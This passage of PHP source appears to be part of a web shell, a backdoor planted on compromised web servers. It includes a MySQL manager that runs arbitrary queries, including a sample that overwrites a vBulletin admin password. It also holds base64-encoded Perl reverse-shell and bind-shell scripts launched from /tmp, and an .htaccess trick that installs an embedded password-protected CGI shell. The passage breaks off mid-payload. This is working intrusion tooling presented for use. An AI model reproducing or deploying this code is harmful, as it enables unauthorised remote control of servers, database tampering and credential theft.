762 makehide('doing');
763 makehide('action','sqlfile');
764 p('</form>');
765}
766
767elseif ($action == 'sqladmin') {
768 !$dbhost && $dbhost = 'localhost';
769 !$dbuser && $dbuser = 'root';
770 !$dbport && $dbport = '3306';
771 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
772 if(isset($dbhost)){
773 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
774 }
775 if(isset($dbuser)) {
776 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
777 }
778 if(isset($dbpass)) {
779 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
780 }
781 if(isset($dbport)) {
782 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
783 }
784 if(isset($dbname)) {
785 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
786 }
787 if(isset($charset)) {
788 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
789 }
790
791 if ($doing == 'backupmysql' && $saveasfile) {
792 if (!$table) {
793 m('Please choose the table');
794 } else {
795 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
796 $table = array_flip($table);
797 $fp = @fopen($path,'w');
798 if ($fp) {
799 $result = q('SHOW tables');
800 if (!$result) p('<h2>'.mysql_error().'</h2>');
801 $mysqldata = '';
802 while ($currow = mysql_fetch_array($result)) {
803 if (isset($table[$currow[0]])) {
804 sqldumptable($currow[0], $fp);
805 }
806 }
807 fclose($fp);
808 $fileurl = str_replace(SA_ROOT,'',$path);
809 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
810 mysql_close();
811 } else {
812 m('Backup failed');
813 }
814 }
815 }
816 if ($insert && $insertsql) {
817 $keystr = $valstr = $tmp = '';
818 foreach($insertsql as $key => $val) {
819 if ($val) {
820 $keystr .= $tmp.$key;
821 $valstr .= $tmp."'".addslashes($val)."'";
822 $tmp = ',';
823 }
824 }
825 if ($keystr && $valstr) {
826 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
827 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
828 }
829 }
830 if ($update && $insertsql && $base64) {
831 $valstr = $tmp = '';
832 foreach($insertsql as $key => $val) {
833 $valstr .= $tmp.$key."='".addslashes($val)."'";
834 $tmp = ',';
835 }
836 if ($valstr) {
837 $where = base64_decode($base64);
838 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
839 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
840 }
841 }
842 if ($doing == 'del' && $base64) {
843 $where = base64_decode($base64);
844 $delete_sql = "DELETE FROM $tablename WHERE $where";
845 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
846 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
847 }
848
849 if ($tablename && $doing == 'drop') {
850 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
851 if (q("DROP TABLE $tablename")) {
852 m('Drop table of success');
853 $tablename = '';
854 } else {
855 m(mysql_error());
856 }
857 }
858
859 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
860
861 formhead(array('title'=>'MYSQL Manager'));
862 makehide('action','sqladmin');
863 p('<p>');
864 p('DBHost:');
865 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
866 p(':');
867 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
868 p('DBUser:');
869 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
870 p('DBPass:');
871 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
872 p('DBCharset:');
873 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
874 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
875 p('</p>');
876 formfoot();
877?>
878<script type="text/javascript">
879function editrecord(action, base64, tablename){
880 if (action == 'del') {
881 if (!confirm('Is or isn\'t deletion record?')) return;
882 }
883 $('recordlist').doing.value=action;
884 $('recordlist').base64.value=base64;
885 $('recordlist').tablename.value=tablename;
886 $('recordlist').submit();
887}
888function moddbname(dbname) {
889 if(!dbname) return;
890 $('setdbname').dbname.value=dbname;
891 $('setdbname').submit();
892}
893function settable(tablename,doing,page) {
894 if(!tablename) return;
895 if (doing) {
896 $('settable').doing.value=doing;
897 }
898 if (page) {
899 $('settable').page.value=page;
900 }
901 $('settable').tablename.value=tablename;
902 $('settable').submit();
903}
904</script>
905<?php
906 // SQL
907 formhead(array('name'=>'recordlist'));
908 makehide('doing');
909 makehide('action','sqladmin');
910 makehide('base64');
911 makehide('tablename');
912 p($dbform);
913 formfoot();
914
915 // Data
916 formhead(array('name'=>'setdbname'));
917 makehide('action','sqladmin');
918 p($dbform);
919 if (!$dbname) {
920 makehide('dbname');
921 }
922 formfoot();
923
924
925 formhead(array('name'=>'settable'));
926 makehide('action','sqladmin');
927 p($dbform);
928 makehide('tablename');
929 makehide('page',$page);
930 makehide('doing');
931 formfoot();
932
933 $cachetables = array();
934 $pagenum = 30;
935 $page = intval($page);
936 if($page) {
937 $start_limit = ($page - 1) * $pagenum;
938 } else {
939 $start_limit = 0;
940 $page = 1;
941 }
942 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
943 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
944 // get mysql server
945 $mysqlver = mysql_get_server_info();
946 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
947 $highver = $mysqlver > '4.1' ? 1 : 0;
948
949 // Show database
950 $query = q("SHOW DATABASES");
951 $dbs = array();
952 $dbs[] = '-- Select a database --';
953 while($db = mysql_fetch_array($query)) {
954 $dbs[$db['Database']] = $db['Database'];
955 }
956 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
957 $tabledb = array();
958 if ($dbname) {
959 p('<p>');
960 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
961 if ($tablename) {
962 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
963 }
964 p('</p>');
965 mysql_select_db($dbname);
966
967 $getnumsql = '';
968 $runquery = 0;
969 if ($sql_query) {
970 $runquery = 1;
971 }
972 $allowedit = 0;
973 if ($tablename && !$sql_query) {
974 $sql_query = "SELECT * FROM $tablename";
975 $getnumsql = $sql_query;
976 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
977 $allowedit = 1;
978 }
979 p('<form action="'.$self.'" method="POST">');
980 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
981 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
982 makehide('tablename', $tablename);
983 makehide('action','sqladmin');
984 p($dbform);
985 p('</form>');
986 if ($tablename || ($runquery && $sql_query)) {
987 if ($doing == 'structure') {
988 $result = q("SHOW COLUMNS FROM $tablename");
989 $rowdb = array();
990 while($row = mysql_fetch_array($result)) {
991 $rowdb[] = $row;
992 }
993 p('<table border="0" cellpadding="3" cellspacing="0">');
994 p('<tr class="head">');
995 p('<td>Field</td>');
996 p('<td>Type</td>');
997 p('<td>Null</td>');
998 p('<td>Key</td>');
999 p('<td>Default</td>');
1000 p('<td>Extra</td>');
1001 p('</tr>');
1002 foreach ($rowdb as $row) {
1003 $thisbg = bg();
1004 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1005 p('<td>'.$row['Field'].'</td>');
1006 p('<td>'.$row['Type'].'</td>');
1007 p('<td>'.$row['Null'].' </td>');
1008 p('<td>'.$row['Key'].' </td>');
1009 p('<td>'.$row['Default'].' </td>');
1010 p('<td>'.$row['Extra'].' </td>');
1011 p('</tr>');
1012 }
1013 tbfoot();
1014 } elseif ($doing == 'insert' || $doing == 'edit') {
1015 $result = q('SHOW COLUMNS FROM '.$tablename);
1016 while ($row = mysql_fetch_array($result)) {
1017 $rowdb[] = $row;
1018 }
1019 $rs = array();
1020 if ($doing == 'insert') {
1021 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1022 } else {
1023 p('<h2>Update record in '.$tablename.' table »</h2>');
1024 $where = base64_decode($base64);
1025 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1026 $rs = mysql_fetch_array($result);
1027 }
1028 p('<form method="post" action="'.$self.'">');
1029 p($dbform);
1030 makehide('action','sqladmin');
1031 makehide('tablename',$tablename);
1032 p('<table border="0" cellpadding="3" cellspacing="0">');
1033 foreach ($rowdb as $row) {
1034 if ($rs[$row['Field']]) {
1035 $value = htmlspecialchars($rs[$row['Field']]);
1036 } else {
1037 $value = '';
1038 }
1039 $thisbg = bg();
1040 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1041 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1042 }
1043 if ($doing == 'insert') {
1044 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1045 } else {
1046 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1047 makehide('base64', $base64);
1048 }
1049 p('</table></form>');
1050 } else {
1051 $querys = @explode(';',$sql_query);
1052 foreach($querys as $num=>$query) {
1053 if ($query) {
1054 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1055 switch(qy($query))
1056 {
1057 case 0:
1058 p('<h2>Error : '.mysql_error().'</h2>');
1059 break;
1060 case 1:
1061 if (strtolower(substr($query,0,13)) == 'select * from') {
1062 $allowedit = 1;
1063 }
1064 if ($getnumsql) {
1065 $tatol = mysql_num_rows(q($getnumsql));
1066 $multipage = multi($tatol, $pagenum, $page, $tablename);
1067 }
1068 if (!$tablename) {
1069 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1070 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1071 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1072 $tablename = $matches[1][0];
1073 }
1074 $result = q($query);
1075 p($multipage);
1076 p('<table border="0" cellpadding="3" cellspacing="0">');
1077 p('<tr class="head">');
1078 if ($allowedit) p('<td>Action</td>');
1079 $fieldnum = @mysql_num_fields($result);
1080 for($i=0;$i<$fieldnum;$i++){
1081 $name = @mysql_field_name($result, $i);
1082 $type = @mysql_field_type($result, $i);
1083 $len = @mysql_field_len($result, $i);
1084 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1085 }
1086 p('</tr>');
1087 while($mn = @mysql_fetch_assoc($result)){
1088 $thisbg = bg();
1089 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1090 $where = $tmp = $b1 = '';
1091 foreach($mn as $key=>$inside){
1092 if ($inside) {
1093 $where .= $tmp.$key."='".addslashes($inside)."'";
1094 $tmp = ' AND ';
1095 }
1096 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1097 }
1098 $where = base64_encode($where);
1099 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1100 p($b1);
1101 p('</tr>');
1102 unset($b1);
1103 }
1104 tbfoot();
1105 p($multipage);
1106 break;
1107 case 2:
1108 $ar = mysql_affected_rows();
1109 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1110 break;
1111 }
1112 }
1113 }
1114 }
1115 } else {
1116 $query = q("SHOW TABLE STATUS");
1117 $table_num = $table_rows = $data_size = 0;
1118 $tabledb = array();
1119 while($table = mysql_fetch_array($query)) {
1120 $data_size = $data_size + $table['Data_length'];
1121 $table_rows = $table_rows + $table['Rows'];
1122 $table['Data_length'] = sizecount($table['Data_length']);
1123 $table_num++;
1124 $tabledb[] = $table;
1125 }
1126 $data_size = sizecount($data_size);
1127 unset($table);
1128 p('<table border="0" cellpadding="0" cellspacing="0">');
1129 p('<form action="'.$self.'" method="POST">');
1130 makehide('action','sqladmin');
1131 p($dbform);
1132 p('<tr class="head">');
1133 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1134 p('<td>Name</td>');
1135 p('<td>Rows</td>');
1136 p('<td>Data_length</td>');
1137 p('<td>Create_time</td>');
1138 p('<td>Update_time</td>');
1139 if ($highver) {
1140 p('<td>Engine</td>');
1141 p('<td>Collation</td>');
1142 }
1143 p('</tr>');
1144 foreach ($tabledb as $key => $table) {
1145 $thisbg = bg();
1146 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1147 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1148 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1149 p('<td>'.$table['Rows'].'</td>');
1150 p('<td>'.$table['Data_length'].'</td>');
1151 p('<td>'.$table['Create_time'].'</td>');
1152 p('<td>'.$table['Update_time'].'</td>');
1153 if ($highver) {
1154 p('<td>'.$table['Engine'].'</td>');
1155 p('<td>'.$table['Collation'].'</td>');
1156 }
1157 p('</tr>');
1158 }
1159 p('<tr class=fout>');
1160 p('<td> </td>');
1161 p('<td>Total tables: '.$table_num.'</td>');
1162 p('<td>'.$table_rows.'</td>');
1163 p('<td>'.$data_size.'</td>');
1164 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1165 p('</tr>');
1166
1167 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1168 makehide('doing','backupmysql');
1169 formfoot();
1170 p("</table>");
1171 fr($query);
1172 }
1173 }
1174 }
1175 tbfoot();
1176 @mysql_close();
1177}//end sql backup
1178
1179
1180elseif ($action == 'backconnect') {
1181 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1182 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1183 echo "<h1>Back Connect</h1><div class=content>
1184 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1185 <span>Bind port to /bin/sh [perl]</span><br/>
1186 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1187 </form>
1188 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1189 <span>Back-connect [perl]</span><br/>
1190 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1191 </form><br>";
1192 if(isset($_POST['p1'])) {
1193 function cf($f,$t) {
1194 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1195 if($w){
1196 @fwrite($w,@base64_decode($t));
1197 @fclose($w);
1198 }
1199 }
1200 if($_POST['p1'] == 'bpp') {
1201 cf("/tmp/bp.pl",$bind_port_p);
1202 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1203 sleep(1);
1204 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1205 unlink("/tmp/bp.pl");
1206 }
1207 if($_POST['p1'] == 'bcp') {
1208 cf("/tmp/bc.pl",$back_connect_p);
1209 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1210 sleep(1);
1211 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1212 unlink("/tmp/bc.pl");
1213 }
1214 }
1215 echo '</div>';
1216}//end backconnect window via NC
1217
1218elseif ($action == 'cgi2012') {
1219formhead(array('title'=>'CGI Telnet 2012'));
1220 makehide('action','cgi2012');
1221 mkdir('cgi2012', 0755);
1222 chdir('cgi2012');
1223 $kokdosya = ".htaccess";
1224 $dosya_adi = "$kokdosya";
1225 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
1226 $metin = "AddHandler cgi-script .izo";
1227 fwrite ( $dosya , $metin ) ;
1228 fclose ($dosya);
1229$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRW
1230ZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5
1231bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHgg
1232cmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZm
1233OyBmb250LXdlaWdodDpib2xkOyc+S2g0bGlmYXggLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFz
1234c3dvcmQgPSAia2g0bGlmYXgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50
1235ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsi
1236U0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJ
1237ZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQg
1238dG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5u
1239aW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91
1240J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVl
1241IGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQg
1242dG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2lu
1243ZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQg
1244dG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5p
1245eC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFm
1246dGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBh
1247IHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMg
1248dGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRl
1249LCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2Vy
1250dmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1p
1251Y091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJ
1252CQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJ
1253CQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBj
1254b21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5n
1255LCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5n
1256IGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxF
1257U1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5U
1258Q21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7
1259CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQg
1260PyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMt
1261LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1262LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3Nl
1263ciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBh
1264bmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4K
1265IyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9y
1266ZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQg
1267dXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxl
1268LiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBv
1269dGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1270LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2Ug
1271CnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
1272OwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlw
1273YXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhP
1274RCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYo
1275JEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYg
1276JE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09O
1277VEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsn
1278Q09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8p
1279Cgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlA
1280bGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFd
1281OwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJv
1282ZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBp
1283biBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2Zp
1284bGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8v
1285ZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9Mjsg
1286JGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkk
1287bGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkk
1288dmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMv
